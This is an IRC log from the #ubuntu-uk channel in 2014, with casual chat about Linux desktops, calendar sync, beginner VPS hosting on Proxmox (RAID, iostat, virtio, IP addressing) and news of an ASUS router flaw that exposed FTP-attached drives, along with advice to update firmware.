<knightwise> we are talking about a user that wants to USE her machine ,and does not enjoy tinkering with it (like we do)
<foobarry> requires least amount of re-configuring/tweaking, and is simple/fast, and doesn't get in my way
 * brobostigon is happy with standard gnome-shell.
<foobarry> i meet few people who are
<MartijnVdS> knightwise: I don't need to tinker with Unity to use it.
<MartijnVdS> which seems to be the point of it..
<knightwise> brobostigon: gnome 3 ?
<MooDoo> brobostigon: never got on with gnome2
<brobostigon> knightwise: yes.
<MooDoo> 3 even
<popey> elementary does indeed look pretty
<brobostigon> MooDoo: i like the workspace implementation,
<knightwise> MartijnVdS: if you have somebody who just "switched" to linux , its important to give their UI some consistency
<foobarry> question: what happens if your PC runs out of ram and you have no swap? does unity crash immediately?
<MartijnVdS> knightwise: Unity is very consistent!
<MooDoo> brobostigon: you need to move to debian ;)
<popey> foobarry: depends
<popey> OOM Killer kills processes
<brobostigon> MooDoo: i use debian unstable/sid with gnome3 already.
<knightwise> MooDoo: I might give pure debian a go too soon
<MooDoo> foobarry: i would say it goes so slow to give the appearance of it hanging coz it's swapping lots
<brobostigon> MooDoo: with a splash of debian experimental.
<MooDoo> brobostigon: smarty pants.
<popey> MooDoo: he said with no swap
<foobarry> gala in elementary crashes immediately. i got shot down on g+ for saying this is a bug
<brobostigon> MooDoo: :)
<knightwise> and it might sound boring .. but i'm an LTS kinda guy
<popey> its not a bug
<popey> its working as designed
<foobarry> should handle OOM more gracefully
<MooDoo> knightwise: me too
<foobarry> other WMs seem to
<popey> oom is out of your control
<knightwise> because linux just has to WORK and i don't always need to have the cutting edge on my desktops
<foobarry> not sure if OOM-killer got deployed
<MooDoo> knightwise: LTS on the server and 14.04 LTS on my laptop
<popey> kernel log will tell you
<foobarry> i opened 1 tab too many and gala crashes, happened a few times near capacity RAM usage
<foobarry> dmesg had nowt
<knightwise> MooDoo: so soon ?
<MooDoo> knightwise: yup, was feeling reckless :)
<popey> why do you have no swap?
<brobostigon> lts on one server, debian testing on the other.
<foobarry> because i have 8gb ram
<foobarry> and usually its not an issue
<knightwise> Linux mint debian ed. on the server (rolling release) 13.10 on the laptop , all other machines : 12.04
<knightwise> now i need to find a way to incorporate her Google Calendar into her workstation, that when she gets an ics link , it gets added to her calendar
<foobarry> knightwise: i suspect that maya shows evolution calendars
<foobarry> and evolution handles gmail cals right?
<foobarry> or just add a chrome app and drag it to desktop
<knightwise> can you do that ?
<knightwise> i'll try the evolution thing.
<knightwise> because otherwise she wont have an app that handles ics files
<MartijnVdS> knightwise: Chrome can handle ICS files I think
<MartijnVdS> especially if they're sent through gmail ;)
<MooDoo> popey: planning uukpc season 7 or on a break for a few months?
<knightwise> MartijnVdS: thats it , she gets her mail in outlook
<MartijnVdS> *shudder*
<MooDoo> I don't like outlook 2013, it's really slow on my laptop
<bashrc> as an email client Thunderbird is pretty good
<bashrc> havn't used MS Outlook for a decade
<knightwise> knightwise: sorry I meant THUNDEBIRD 8
<knightwise> Thunderbird !
 * knightwise is ashamed to say outlook
<bashrc> thunderbird is go
<MartijnVdS> bashrc: no, it's C++
<bashrc> well, nearly
<TheOpenSourcerer> thunderbird and the lightning calendar work with ics and google calendar (CalDAV)
<MartijnVdS> thunderbird and lightning, very very frightening?
<foobarry> me
<foobarry> there should be are easter egg in apt-get when you type sudo apt-get install thunderbird lightning
<knightwise> does lightning do a two way sync with google calendar ?
<MooDoo> knightwise: depends if you're in a field holding a laptop and golf club in the air during a storm ;)
<MartijnVdS> knightwise: https://support.mozillamessaging.com/en-US/kb/using-lightning-google-calendar
<knightwise> an easteregg like " sudo apt-get lightning" and you get an echo "veryvery frightening ?"
<knightwise> MartijnVdS: thanx :)
<knightwise> gonna have a go at it tonight.
<knightwise> so far : wife been working on machine all day. no complaints.
<TheOpenSourcerer> That's rather old isn't MartijnVdS?
<TheOpenSourcerer> I just use CalDav to Google.
<MartijnVdS> TheOpenSourcerer: first hit on google ;)
<knightwise> but i think she can manage , considerign THIS is her grandmother https://help.ubuntu.com/community/UbuntuForGrandma
<TheOpenSourcerer> Works fine both ways
<MartijnVdS> TheOpenSourcerer: Google is deprecating CalDav
<TheOpenSourcerer> No it isn't/
<MartijnVdS> ah wait
<TheOpenSourcerer> They decided against it
<MartijnVdS> they switched URLs, that's it
<TheOpenSourcerer> Yep.
<TheOpenSourcerer> They did announce a while ago they were going to drop it. But everyone shouted and they rescinded their decision surprisingly.
<xalyy> Hello all!
<xalyy> Can someone help me about editing the rules of proxmox?
<xalyy> Someone? :(
<MooDoo> !ask
<lubotu3> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience
<xalyy> Okay :D
<MooDoo> :D
<xalyy> http://gyazo.com/5527846587dc4149fd6416deab1969a5.png I want to edit this user settings
<xalyy> To delete VM.Audit VM.Backup
<xalyy> There is three type of commands pveum roleadd, pveum roledel and rolemod
<xalyy> But not really sure how to use
<MartijnVdS> May I recommend: http://doctormo.deviantart.com/art/how-to-Ask-Smart-Questions-172418841
<MooDoo> xalyy: now i don't know about proxmox, but does this help - http://forum.proxmox.com/threads/8999-Proxmox-2-PVEVMUser-permissions
<MooDoo> perhaps the forums is a good place to start as well.
<MooDoo> MartijnVdS: that's quite good :)
<xalyy> Yeah I see but there is not so much information about thoose commands :S
<xalyy> I wan't to edit the roles priviliges and not user
<MooDoo> no idea from me then
<MartijnVdS> xalyy: doesn't the tool have documentation? Then you might have chosen the wrong tool.
<xalyy> There wasn't any problems so far
<xalyy> Its a good virtual enviroment
<MartijnVdS> it can't be that good if it doesn't have docs ;)
<brobostigon> 6:45pm, star trek 6 TUCm film4, :)
<MooDoo> brobostigon: didn't really like that one
<brobostigon> MooDoo: i prefferred voage home, but it was still a good story, classic iron curtain cold war story.
<brobostigon> voyage home*
<MooDoo> yeah, I think newest 2 have been the better ones so far, but first contact is still my fave
<brobostigon> the newest two, the reboots, are modern actions films, not true star trek films in that sense.
<MooDoo> get wesley back in it :D
<brobostigon> :)
<MooDoo> Great fan of Wil Wheaton :D
<brobostigon> android user, :)
<MooDoo> TheOpenSourcerer: you need a few of these ;) http://nickysnursery.wordpress.com/2014/02/17/carolina-reaper-one-of-the-worlds-hottest-chillies/
<TheOpenSourcerer> Got some growing already MooDoo :-D
<brobostigon> :)
<brobostigon> scowille rating ?
<brobostigon> scoville*
<MooDoo> 1,500,000
<brobostigon> ouch
<MartijnVdS> I wouldn't even go near that
<brobostigon> sounds distinctly risky.
<MartijnVdS> I'll stick to bell peppers ;)
<brobostigon> :)
<mapps> hey
<mapps> man true detective was good
<mapps> i want more eps!
<MartijnVdS> mapps: I know an artist who is making one EP per month this year :)
<xalyy> Hey, im back! :P
<xalyy> Does anyone have any experience of vps host?
<xalyy> What you think guys SSD or HDD is better for hosting purpose?
<directhex> xalyy, both have their strong points
<directhex> xalyy, but i wouldn't consider a VPS host using consumer-grade drives as competent, and probably wouldn't pay for enterprise SSDs for web/mail
<xalyy> And what you think which is better for: 10 VPS under a dedicated server, a 2x 128GB SSD or 1TB HDD?
<directhex> 2x128 configured how, and which devices exactly?
<xalyy> What you mean?
<directhex> not all SSDs are equal
<xalyy> Well yeah
<directhex> and how would you have those SSDs set up? e.g. RAID?
<xalyy> I not know the manufactuer, the dedicated hosting does not wrote on his website :D
<xalyy> I have to ask this
<xalyy> RAID?
<xalyy> Its not a security thing?
<directhex> jesus really? pretty sure they teach about raid in basic computing qualifications in high school
<xalyy> Ohh data redundancy and performance improvement
<xalyy> Got it :D
<xalyy> So both SSD and HDD need at least RAID 1?
<directhex> IMHO yes
<directhex> drives fail.
<xalyy> How can I check the RAID of my current dedicated?
<directhex> question is how your customers will feel if a drive fails and you have no way to get them going again
<xalyy> Because having problems with the VPS's, I mean I started installing 2-3 VPS at a time and it slowwssss
<directhex> um... lspci might indicate whether there's a hardware raid controller installed
<xalyy> Okay
<xalyy> Ty :D
<xalyy> And
<directhex> e.g.
<directhex> root@handi:~# lspci | grep RAID
<directhex> 04:00.0 RAID bus controller: 3ware Inc 9650SE SATA-II RAID PCIe (rev 01)
<xalyy> But wait
<xalyy> The lag is because of the HDD is not enough powerful?
<xalyy> Or does not have raid?
<directhex> i don't have enough data to answer you.
<xalyy> What you need? :D
<directhex> lspci | grep RAID
<xalyy> Nothing
<directhex> hm
<directhex> pvdisplay?
<ali1234> directhex: have you ever used cgroups in anger?
<xalyy> http://gyazo.com/42ca34b64c7f2e86306b08fe8c4c9dab.png
<directhex> ali1234, no... i've used hardware cpusets on sgi altix though!
<ali1234> it seems like it has the ability to limit the amount of physical memory used by a group
<xalyy> I think its a toshiba 1tb HDD
<directhex> xalyy, that's a single drive, then. no redundancy, no failure recovery
<xalyy> So?
<directhex> xalyy, well, if the drive goes wrong then your server and every VPS is gone forever, unless you have a decent backup solution in place
<directhex> xalyy, and one spinning disk isn't very fast, for I/O intensive stuff
<xalyy> Wait but this disk runs atleast 7200 RPM nah?
<directhex> xalyy, look at it this way, if you have 10 VPS then you have 1/10 of that disk available per VPS, if they're all busy
<xalyy> Ohh
<xalyy> And what is the solution? :S
<xalyy> RAID?
<directhex> RAID won't speed up writes. it'll speed up reads, though
<xalyy> So
<xalyy> What do I have to do, to get all good :D
<xalyy> I mean hosting 10 VPS what is the requirements?
<directhex> well, it all depends on your expectations
<directhex> what you have right now is a single bit of spinning rust. it's fine as long as you don't have any IO-heavy requirements - fine for email, fine for web hosting, fine for IRC
<xalyy> Well I said I have now 3 running and if I start 2 more install then thoose two installs really slowly
<directhex> crap for compiling software
<directhex> well, installing is pretty IO heavy
<directhex> try installing/running iotop on the host. it's a console-based disk usage monitor
<xalyy> apt-get install iotop? :D
<directhex> actually, let's try iostat
<directhex> run "iostat 5" on the host. every 5 seconds it'll refresh a view of disk activity on all your disks
<directhex> the first column is disk name, then "tps" is "transactions per second" (i.e. individual IO operations), which will be max 100 on one 7200rpm disk
<shauno> if I knew what was good for me I'd keep quiet, but I gotta point out that if you're io-bound installing 2 or 3 instances, you may not have happy customers at 10+ instances
<xalyy> Wait
<xalyy> How do I run that?
<directhex> "iostat 5"
<xalyy> -bash: iostat: command not found
<directhex> sysstat package.
<xalyy> Exactly what does this do?
<xalyy> the iOSstat
<directhex> it just extracts a snapshot of current & historic IO usage from the kernel, in an easy to read form
<xalyy> Okay, sorry for the silly questions, I am doing this the first time I not counted about HDD problems when I opened my host, I wanted to provide cheap and reliable VPS for poor people :S
<xalyy> http://gyazo.com/2adddf3151998f4ff57848756faca877.png
<xalyy> What is the diagnosis?
<directhex> yeah, so the tps column, like i said, is the important one
<directhex> and your limit is about 100, give or take, with your arrangement
<directhex> each of the dm-X entries is the virtual disk from a VPS
<directhex> so you can see that post-install, the VPSes are quiet. but during install, one VPS can max out the disk, making the server slow for everyone else
<xalyy> But wait
<xalyy> Its now 63% load?
<xalyy> And 100% is max?
<directhex> although note it says 82% idle as well
<directhex> balancing IO is complicated
<xalyy> Is it possible that I made wrong the VPS's?
<directhex> keep that window open whilst installing another VPS.
<xalyy> I used IDE
<xalyy> I mean
<xalyy> if I use IDE and my host HDD is SATA
<xalyy> then its bad?
<directhex> you didn't use IDE.
<directhex> well
<directhex> you may have done on the virtual disks, but that's largely irrelevant
<directhex> you could probably have gotten some speed improvement by using virtio for the virtual disk, though
<xalyy> By the way I am using Proxmox for VE
<xalyy> Ok
<xalyy> And what you say windows server 2012 or 2008 is better for 1 Core 2GB ram VPS's?
<xalyy> Not really sure you are a windows master :D
<directhex> i know nothing about windows server.
<shauno> eh, either comes with 'core' flavours.  but windows licences are going to eat into your 'cheap'
<directhex> i think physically you will still be constrained by trying to chop one server into eleven servers & expecting no bottlenecks
<xalyy> Ok
<xalyy> And what about IP's
<xalyy> How can I assign unique IP for every VPS?
<xalyy> Because I got the same IP for every VPS
<xalyy> The hosts ip
<shauno> your provider is going to have to give you a bunch of IPs.  at the moment they're all sharing one, and one's all you have to share
<xalyy> Umm, IPv6 is good?
<directhex> IPv6 is fine, but most people can't talk IPv6 yet
<shauno> it's a plus, but the market for people that'll take v6 alone is very, very small
<xalyy> So its good or not :D
<directhex> e.g. no major UK ISP is setting up IPv6-capable equipment for its customers, so anyone wanting to access a 6-only server needs to configure their computer to do it
<xalyy> My dedicated not have enabled DHCP so probably better than ipv4?
<shauno> xalyy, do you have v6 at home?
<xalyy> ipv4
<shauno> so if you were one of your own customers, you wouldn't be able to reach a v6-only vps either?
<xalyy> Ohh :D
<xalyy> Ok
<directhex> you can't talk to a v6-only server from a v4-only client, unless you reconfigure your computer to use a tunnel
<xalyy> Just asking because 11 IPv4 is 5.5$ cost
<directhex> also, try http://test-ipv6.com/ in a browser
<xalyy> And 60 ipv6 is the same price
<xalyy> Ok I go with ipv4
<xalyy> But how to set up the IP's when I got it?
<xalyy> Exactly what I have to do?
<xalyy> I have to do something in proxmox?
<directhex> i have no idea about proxmox
<xalyy> Ok
<xalyy> Disk image format? Which is the fastest? QEMU, Vmware or RAW DISK
<xalyy> http://gyazo.com/542f24441f4470648fcfc6c0a5723e6b.png
<directhex> there's not much in it.
<directhex> i use raw, personally
<xalyy> But no differencies between them?
<xalyy> So its not matter
<neuro> ok, it is officially cold
<neuro> i am not liking col
<neuro> d
<neuro> i'm still trying to figure out why tesco send me two copies of an order confirmation
<shauno> this isn't cold :p
<neuro> tell that to my hands
<shauno> hands: this ain't cold
<neuro> they don't believe you
<ali1234> how do i configure my server for ipv6?
<xalyy> Ok
<neuro> with care :)
<shauno> same way as v6, really.  a smattering of knowledge of how your provider is providing it
<shauno> er, as v4, rather
<ali1234> i have an inet6 addr but it says Scope:Link
<ali1234> the provider claims to support ipv6
<ali1234> the server is running ubuntu precise
<neuro> you still need the gateway, subnet, etc
<shauno> yeah, you'll have an fe80..something address just for having it available in the kernel
<ali1234> so, where do i even start?
<MartijnVdS> MooDoo: didn't you just buy an ASUS router? http://arstechnica.com/security/2014/02/dear-asus-router-user-youve-been-pwned-thanks-to-easily-exploited-flaw/
 * neuro still finds it amusing to set a IP address to ..::dead:beef
<MartijnVdS> neuro: ::babe:face
<neuro> ali1234: getting the details your le hosting types would be a good start
<shauno> I find it amusing to have proper reverse-dns for everything in the house
<neuro> shauno: pain in the bum though
<neuro> f.3.a.5.1.6.a.5.6.a.b.1.5.9.6.c.1.6.d.1.5.aaaaargh
<shauno> ipv6calc --out revnibbles.arpa 2001:db8::1
<neuro> what the deuce ...
<MartijnVdS> ipv6calc++
<shauno> if you're doing it by hand, you should have a sadface
<neuro> i do have a sadface
<xalyy> Whats this? http://gyazo.com/b0b2690984e3a9085b75bfa5f4332449.png
<neuro> omg that's awesome
<neuro> that's stupidly awesome
<shauno> +1 for learning, -10 for repetition
<neuro> WHY HAVE I BEEN DOING THIS BY HAND
<MartijnVdS> xalyy: that's a dropdown box where you can select the RAID controller the virtual machine sees
<MartijnVdS> xalyy: keep it on virtio unless you know what you're doing (still not reading the docs, are you?)
<neuro> xalyy: it's a PNG image file, a newer image format which is better than GIF
<xalyy> :DD
<xalyy> Docs docs. But it not helps me to decide which is better for host :S or am I wrong Marin?
<xalyy> Martin*
<MartijnVdS> xalyy: Sure it does.
<MartijnVdS> xalyy: Docs describe how a piece of software works. If you can't understand them, it might not be for you ;)
<neuro> hehe
<MartijnVdS> Or, you might need to learn a bit about the underlying concepts first :)
<neuro> what are we doing, anyway?
<xalyy> Could you help me to choose? Its night :D
 * neuro reads back
<MartijnVdS> neuro: read back several days then ;)
<neuro> vps config?
<MartijnVdS> neuro: I think so
<neuro> when i buy from joe random vm provider, i usually just stick with their default configs
<shauno> commercial-vps-provider through the eyes of someone who has ... good intentions
<xalyy> So Im on the Hard disk phrase VIRTIO format QEMU Cache Default
<neuro> i must admit, i'm loving the crap out of ec2 at the moment
<xalyy> Good?
<shauno> I don't really have scalable loads, so ec2 isn't cost-effective
<neuro> the new python based aws tools are epic
<neuro> way way better (and faster) than the old java ones
<xalyy> http://gyazo.com/e1a61318be3231e0c6c5af0276e51379.png anything I have to change here?
<neuro> wait, we're configuring a windows vm?
<neuro> in an ubuntu channel?
<neuro> okaaaaay ...
<xalyy> Yess :D!
<shauno> a windows guest in a .. something else host
<neuro> eeshk
<neuro> and i get shouted at for talking about macs in here ... ;)
<xalyy> Why, the host is still ubuntu, or not? :P
<MartijnVdS> xalyy: isn't there an IRC channel for that VM management tool you're using?
<neuro> i have to manage a few win2k3/win2k8 hosts in ec2 for work
<xalyy> Yes there is but everybody sleeping all the day
<neuro> it's a right pain
<neuro> hate it hate it hate it
<MartijnVdS> with people who, you know, actually know how it works?
<MartijnVdS> We're guessing just as much as you are
<xalyy> I keep saying all day Hello HELLO IS Somebudy hereeeee? And no response
<MartijnVdS> xalyy: did you read the "smart questions" link earlier today?
<MartijnVdS> xalyy: because that might work on them
<ali1234> probably not though
<neuro> smart questions don't work on me
<ali1234> most irc channels are dead
<neuro> because i'm not smart
<neuro> duh
<neuro> IRC IS TEH DEDZOR?!
<MartijnVdS> Neuro Gump?
<ali1234> there's usually about one active person for every 20-30 idlers
<neuro> MartijnVdS: VMs are like a box of chocolates
<neuro> if you run them too hard, they'll melt
<MartijnVdS> Run Neuro, Run!
<xalyy> So
<neuro> *cue inspiring Alan Silvestri score*
<ali1234> i have no idea why so many people feel the need to idle on channels and then never ever speak
<xalyy> Can we get back to business guys? :)
<neuro> ali1234: because it's good netiquette
<MartijnVdS> *cue video of Neuro running*
<neuro> lurk before engaging
<ali1234> no
<neuro> MartijnVdS: that would be an AWFUL video
<neuro> and very short too
<ali1234> that's usenet
<MartijnVdS> neuro: sure but if the channel is *always* silent, lurking doesn't help
<neuro> like 15 seconds of running, 5 minutes of wheezing and coughing, and 2 minutes of marlboro smoking
<MartijnVdS> it's the same here though
<ali1234> on irc you practically have to troll people to even get a "hello"
<xalyy> But why is that a problem if I set up a windows vm on ubuntu? :(
<neuro> i'm not saying it's a problem
<MartijnVdS> xalyy: there is no problem (make sure you have all the licenses), but we don't have much (if any) experience
<neuro> but i'm not sure ... yeah, that
<xalyy> You mean no hosting experience?
<neuro> how many people in a channel of Ubuntu users do you really expect to have solid experience with win2k8
<neuro> i'm not saying it's impossible
<neuro> but it's unlikely
<xalyy> But I tried to search something on the internet like How to start a VPS business or something but not found exact guides or tutorials...
<MartijnVdS> xalyy: I have plenty of hosting experience, just not of Windows VMs, and also, it will take so long to explain that I'd rather not bother on IRC
<MartijnVdS> xalyy: I learned it from the docs + trying
<shauno> or people with windows-server experience that aren't so traumatized by it that they're willing to do it for kicks & giggles at home/spare time too
<neuro> step 1 in starting a VPS business: learn how to build and manage vps hosts
<neuro> gotta walk before you can run
<neuro> RUN, NEURO, RUN ... *shakes fist at MartijnVdS*
<MartijnVdS> haha :)
<xalyy> Okay
<shauno> isn't it "skate silly fast" for Martijn this week?  or is he the only dutchie left that didn't take a medal for it =x
<neuro> you should look into scaleable ways to create and start VMs on a host
<MartijnVdS> shauno: Several more to come ;)
<neuro> i'm pretty sure a GUI or web interface is not scaleable for a business
<MartijnVdS> shauno: tomorrow & wednesday
<xalyy> You know what? I set up a time counter and count how many times does need 1 VPS to install with VIRTIO and VIRTIO SCSI then with SATA and VIRTIO SCSI then with SATA AND DEFAULT SCSI
<xalyy> Then with two VPS with same
<MartijnVdS> xalyy: be sure to install the right virtio drivers in windows
<shauno> oh I don't doubt it.  I accidentally caught some on tv yesterday.  the ladies' 1500m.  russia managed to take 5th place, because there was only 4 dutchies
<MartijnVdS> shauno: that race was great :)
<ali1234> i've been watching the curling
<ali1234> USA really sucks at curling, lol
<neuro> ha yeah
<MartijnVdS> ali1234: UK was half/half as well
<MartijnVdS> against Norway
<shauno> I haven't been paying a whole lot of attention to most of it, but I was in a hotel the last few days, and the olympics is just as watchable in any language
<neuro> curling = teh awesome
<neuro> also, eve muirhead
<ali1234> over all we are doing okay
<neuro> i forgot to watch the snowboard cross tho
<dutchie> only 4 whats
<shauno> lol, sorry, forgot about you
<dutchie> :'(
<xalyy> Exactly
<xalyy> What TPS means?
<MartijnVdS> xalyy: In which context?
<neuro> new cover sheet?
<xalyy> iOSstat 5
<neuro> did you get the memo?
<xalyy> directhex said
<xalyy> this is the command to check the HDD
<neuro> http://lmgtfy.com/?q=iostat+tps
<xalyy> Easy :P
<MartijnVdS> xalyy: "man iostat" will also tell you all about it
<xalyy> Ty mah man
<ali1234> http://wheeldesign.blogspot.se/2014/02/monday-report-3.html
<ali1234> i like how they are defining the design
<ali1234> but there's a problem with the way they've defined transparency
<neuro> that's purty
<ali1234> namely they've used multiply transparency, when nearly all toolkits use additive transparency
<ali1234> multiply looks better of course, but is far more computationally expensive
<neuro> but cpu is teh cheap :)
<ali1234> it's done on the GPU...
<neuro> but gpu is teh cheap :D
<ali1234> i don't think GPUs can do this type of transparency in hardware without a custom shader
<neuro> i admit though that i think kde is a hot mess
<neuro> so they'd need to knock something out that's pretty amazing to impress me
<ali1234> it is at the moment definitely
<ali1234> yeah
<neuro> then again, no UNIX DE really impresses me other than OS X
<neuro> which is a shame
<MartijnVdS> neuro: Now you're just hating on twm
<neuro> true, i am
<neuro> hey, i grew up with openlook :)
<ali1234> i'd settle for something that doesn't try too hard
<MartijnVdS> neuro: ah, so it's a deep-rooted hatred :)
<MooDoo> evening all
<neuro> not hatred :)
<neuro> evenin
<ali1234> there is nothing worse than software that doesn't know it's own strengths and weaknesses
<MartijnVdS> neuro: disappointment?
<MartijnVdS> MooDoo: did you see that link I sent you earlier?
<neuro> MartijnVdS: wistful yearning
<ali1234> KDE is probably the worst at doing that too
<neuro> agreed
<MooDoo> MartijnVdS: not sure what was it about?
<MartijnVdS> MooDoo: http://arstechnica.com/security/2014/02/dear-asus-router-user-youve-been-pwned-thanks-to-easily-exploited-flaw/
<MartijnVdS> MooDoo: ASUS routers
<MooDoo> MartijnVdS: oh brilliant lol
 * neuro hugs his pfsense router running in an ESXi VM
 * MartijnVdS hugs his TP-Link TL-WDR4300 with OpenWRT ;)
<MooDoo> just checking it out
<neuro> wow, my stomach just made the most unbelievable grumbly noise at me
<neuro> i haven't eaten today
<neuro> i really should
<MooDoo> MartijnVdS: ah new firmware upgrade
<MartijnVdS> Synology owners: also upgrade *now* (I got an email from them today saying that older firmwares have remotely exploitable holes)
<shauno> neuro: didn't you come with a manual?  I'm pretty sure this is mentioned in the maintenance cycle
<neuro> tch, who reads the manual?!
<MartijnVdS> \o
<neuro> apart from you
<MartijnVdS> but only after it breaks
<shauno> I read the manual if I buy something in the real world.  it makes the ride home with a new toy you can't use yet a little more interesting
<MartijnVdS> that doesn't work on the *drive* home though
<neuro> when i bought my new telly, i made sure to read the wee leaflet thingy to make sure i put the stand on correctly
<neuro> but after that, random button pushing ahoy!
<shauno> drive home?  I'm european :p
<MartijnVdS> neuro: http://imgur.com/LMPFfcs
<neuro> DEXTER \o/
<neuro> DEE DEE NOOOOOOOOO!
<MartijnVdS> shauno: so am I.. but they've been steadily dropping the number of bus lines in my town
<MooDoo> MartijnVdS: I'm ok
<neuro> good, because buses SUCK
<MartijnVdS> MooDoo: \o/
<shauno> I've been having this problem with sundays.  thanks to my work schedule, I never know what day it is until I realise it's been 40 minutes and still no bus
<MartijnVdS> neuro: Buses are on time more often than trains
<neuro> trains suck even more!
<neuro> shauno: hehe
<MartijnVdS> neuro: buses are way cheaper than parking
<MooDoo> MartijnVdS: it only affected routers of people who attached usb drives to it and had left the FTP option enabled as it was at default.
<shauno> I gotta say, .cz/.sk, public transport is amazing
<neuro> you need one of those bus app thingies
<MartijnVdS> (in Amsterdam)
<neuro> MartijnVdS: depends where you park
<neuro> ah right
<neuro> yeah amsterdam does suck for cars
<MartijnVdS> MooDoo: Ah, well.. it's good to make sure you're not vulnerable ;)
<MooDoo> MartijnVdS: http://www.securityfocus.com/archive/1/526942
<neuro> right, i needs teh fods
<shauno> bratislava to budapest by train, e17.50 return
<neuro> teh noms have got me
<MooDoo> MartijnVdS: makes me think now though lol
<neuro> HOW MUCH
<MartijnVdS> â¬17,50. About Â£17,50 in your moeny
<MartijnVdS> money*
 * neuro larts MartijnVdS
<shauno> I think it's about 15gbp atm
<MartijnVdS> shauno: sure. but you pay a conversion fee ;)
<neuro> i was expressing surprise at the cheapness, not requesting an exchange rate calculation :)
<neuro> costs about 12 quid to get from here to edinburgh
<shauno> bratislava to vienna was about 15eur too, but that got my a day-pass on vienna's public transport too
<neuro> so glad i work from home
<neuro> anyway
<neuro> noms
<neuro> tootles
<shauno> although I did find funny, the same trip is much more expensive the other way around.  exactly the same train costs much more if you buy in vienna
<MartijnVdS> shauno: same reason why shipping stuff to china is expensive, but getting stuff from china costs next to nothing (except for customs/vat/etc.)
<shauno> but even the bus/tram/trolly are decent.  I really like the thing of buying the ticket at the stop instead of from the driver.  they're quite militant about stopping for 15-20 seconds and then leaving
<MartijnVdS> sounds like Frankfurt
<MooDoo> MartijnVdS: OMG the amount of people that have the problem with the asus, you can just FTP to their drives and see all their contents :S
<MooDoo> thanks to MartijnVdS any one else use Asus routers here?
<MooDoo> MartijnVdS: thanks - http://www.paulmellors.net/asus-routers/
<diddledan> MooDoo: <ipaddress> is not html-escaped :-)
<diddledan> it reads: "type ftp:// and see if you can see your files"
<MooDoo> diddledan: I just mean just replace that with your IP :p
<MooDoo> it's still amazing
<diddledan> MooDoo: yeah but it's invalid html
<diddledan> MooDoo: <ipaddress> is treated as a tag and therefore not shown
<MooDoo> ah get you
<shauno> did I just see sensible input from diddledan?  o_O
<MooDoo> diddledan: ok thanks
<MooDoo> diddledan: changed, but wow, lots of content out there on unpatched routers :S
<Laney> https://www.facebook.com/photo.php?fbid=299243643562580&set=a.163391843814428.38199.163388563814756&type=1&theater
<bigcalm> What the heck?
<Laney> :D
<popey> haha
<popey> thats brilliant
#ubuntu-uk 2014-02-18
<Guest66233> hey
<Guest66233> oops
<mapps> went to see robocop at the imax
<mapps> :D
<ali1234> silly question, but is it good?
<mapps> was good eya not sure its worth the 14.50
<mapps> wasnt too long either just under 2hours..sick of watching films that could easily be 30mins shorter
<ali1234> the original is like 100 minutes
<shauno> strange irony that detroit turned out to be more apocalyptic than they ever painted it
<mapps> heh yea
<mapps> new spiderman looks good
<MooDoo> morning all
<jussi> morning MooDoo
<mapps> hey
<mapps> morning
<jussi> MooDoo: O__u
<jussi> (thats a tea cup in my hand...)
<jussi> mornin mapps
<mapps> morning
<mapps> ive requested info on one the elephant
<mapps> might be moving back to LONDON:D finally
<jussi> mapps: my condolences :P
<mapps> heh
<mapps> im from London
<jussi> mapps: still :P
 * jussi hugs mapps
 * MooDoo hugs his newly firmware updated router after finding out it had a major flaw lol
<mapps> il be moving to a 2bed flat
<mapps> ;/
<mapps> not ideal
<mapps> a house means i can do whatever i want
<jussi> MooDoo: is it dd/open-wrt?
<MooDoo> jussi: asus
<MooDoo> no don't think so
<MooDoo> just seeing if it's supported
<MooDoo> still lots of routers out there that are providing access to their USB attached hard drives :S
<knightwise> Morning everyone :)
<MooDoo> morning knightwise
<knightwise> hey Moodoo , how's it going ?
<jussi> uk people waking up early today... :D
<jussi> therefore, day does not equal monday...
<MooDoo> knightwise: not bad thank, panic attack about my router last night, but all ok this morning
<MooDoo> jussi: I'm always in work for 6:30
<jussi> MooDoo: but you are speshial :P :P
<jussi> brb, updated and now need to reboot...
<MooDoo> jussi: so people keep telling me, especially the dr's ;)
<knightwise> MooDoo: good to hear
 * knightwise working from home today 
<MooDoo> knightwise: lucky :D
<knightwise> and todays side project is dual booting my I7 mac mini into 12.04
<MooDoo> yay
<knightwise> I use it as a production machine mainly (osx , for podcast production) but when i'm not creating podcast content it can just as well be a linux desktop
<knightwise> I would love to use it for video rendering.
<MooDoo> knightwise: you do a lot of podcasts?
<knightwise> one every week
<knightwise> www.knightwise.com
<MooDoo> ah cool, something I'm looking to get into.
<jussi> knightwise: I like your web theme :)
<foobarry> morning early birds
<MooDoo> morning foobarry
<knightwise> thanx :) its a wordpress plugin
<knightwise> MooDoo: podcasting is cool
<knightwise> I also do regular stuff for HPR
<jussi> knightwise: may I *cough* steal it *cough* and modify it?
<jussi> (err.. read: would you share it?)
<knightwise> the theme of the website or the mobile plugin
<knightwise> the web theme .. its a modified version of a wordpress theme I bought .
<knightwise> I would prefer if you woulnd't steal it , my website guy put quite a lot of work in it and it is also our complete brand style.
<knightwise> but I cant stop you from googling it , finding the wordpress theme and giving it your own spin if that is what you mean to do
<jussi> knightwise: nah, Ill leave it if thats the case. just looking for a new theme for my blog, thats all
<mapps> hm
<knightwise> jussi: I appreciate it :) Took me quit a while to get a distinct look for the site
<knightwise> its also on or cards and everything
<jussi> knightwise: yeah, no probs. I wouldnt want to take away from  what youve done - its a sign of recognition if anythign :)
<knightwise> THnax dude ! I appreciate that  :)
<mapps> what to watch
<knightwise> does anybody know what the command line name is for the ubuntu app store ?
<MartijnVdS> ubuntu-software-centre I think
<foobarry> software-center-gtk3?
<MartijnVdS> or center
<MartijnVdS> foobarry++
<knightwise> got it :)
<knightwise> foobarry: was correct :)
 * knightwise loves linux :) 
<knightwise> Installed 12.04 on my wifes iMac. enabling the ssh server so i can remotely access her machine ,install apps and put files on her desktop she doesn't find otherwise
<MartijnVdS> apt-get install keylogger
<mapps> hi MartijnVdS
<MooDoo> morning mapps :D
<MooDoo> morning MartijnVdS :D
<MartijnVdS> \o MooDoo
<MooDoo> MartijnVdS: thanks for last nigth :D
<MooDoo> er router, you know what I mean :d
<MartijnVdS> heh :)
<mapps> morning MooDoo
<mapps> ;]
<SuperMatt> yo
<MooDoo> how SuperMatt
<SuperMatt> how
<SuperMatt> for now
 * SuperMatt is fred dinenage
<MooDoo> tara
<diplo> Morning all
<SuperMatt> moaning
<MooDoo> hello diplo
<diplo> How're we all this fine morning ?
